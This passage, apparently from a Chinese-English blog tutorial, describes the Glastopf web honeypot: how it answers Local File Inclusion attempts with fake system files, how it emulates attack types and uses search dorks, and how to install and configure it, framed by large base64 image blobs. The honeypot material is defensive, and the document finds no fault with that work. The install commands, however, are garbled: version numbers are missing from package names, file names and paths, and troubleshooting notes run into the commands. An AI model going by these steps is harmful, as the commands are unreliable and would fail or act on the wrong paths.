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" alt="" />

0x3: Local File Inclusion

Another handled attack type is Local File Inclusion. In this type of approach, the attacker tries to use a vulnerability to obtain security critical system information or to execute previously injected code. If the attacker tries to include system files like passwd or shadow, Glastopf replies with a dynamically generated file, similar to the requested one, to provoke and encourage further
attacks. If Glastopf is unable to categorize the attack, it is merely logged in our database. An exception are requests on the web server root folder and index.* requests.

0x4: General approach

. Vulnerability type emulation instead of vulnerability emulation. Once a vulnerability type is emulated, Glastopf can handle unknown attacks of the same type. While implementation may be slower and more complicated, we remain ahead of the attackers until they come up with a new method or discover a new flaw in our implementation.

. Modular design to add new logging capabilities or attack type handlers. Various database capabilities are already in place. HPFeeds logging is supported for centralized data collection.

. Popular attack type emulation is already in place: Remote File Inclusion via a build-in PHP sandbox, Local File Inclusion providing files from a virtual file system and HTML injection via POST requests.

. Adversaries usually use search engines and special crafted search requests to find their victims. In order to attract them, Glastopf provides those keywords (AKA "dork") and additionally extracts them from requests, extending its attack surface automatically. As a result, the honeypot gets more and more attractive with each new attack attempted on it.

. make the SQL injection emulator public, provide IP profiling for crawler recognition and intelligent dork selection.

0x5: INSTALL

1. Prerequisites

sudo apt-get update
sudo apt-get -y install python2. python-openssl python-gevent libevent-dev python2.-dev build-essential make
sudo apt-get -y install python-chardet python-requests python-sqlalchemy python-lxml
sudo apt-get -y install python-beautifulsoup mongodb python-pip python-dev python-setuptools
sudo apt-get -y install g++ git php5 php5-dev liblapack-dev gfortran libmysqlclient-dev
sudo apt-get -y install libxml2-dev libxslt-dev
sudo pip install --upgrade distribute

2. Install and configure the PHP sandbox

cd /opt
sudo git clone git://github.com/mushorg/BFR.git
cd BFR
sudo phpize
sudo ./configure --enable-bfr
sudo make && sudo make install

Open the php.ini file and add bfr.so accordingly to the build output:

vim /etc/php5/cli/php.ini
zend_extension = /usr/lib/php5//bfr.so

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alt="" />

3. Install glastopf

//如果遇到: NameError: name 'sys_platform' is not defined
rm -rf /usr/local/lib/python2./dist-packages/distribute-0.7.-py2..egg-info/
rm -rf /usr/local/lib/python2./dist-packages/setuptools* //如果遇到: E: Unable to locate package python-logstash
pip install python-logstash maybe install distribute manually:
wget https://pypi.python.org/packages/source/d/distribute/distribute-0.6.35.tar.gz
tar -xzvf distribute-0.6..tar.gz
cd distribute-0.6.
python setup.py install //安装过程中遇到python库的缺失
pip install MarkupSafe //如果: sudo pip install glastopf安装失败
cd /opt
sudo git clone https://github.com/mushorg/glastopf.git
cd glastopf
sudo python setup.py install

4. Configuration

cd /opt
sudo mkdir myhoneypot
cd myhoneypot
sudo glastopf-runner

A new default glastopf.cfg has been created in myhoneypot, which can be customized as required.

vim glastopf.cfg
[hpfeed]
enabled = false

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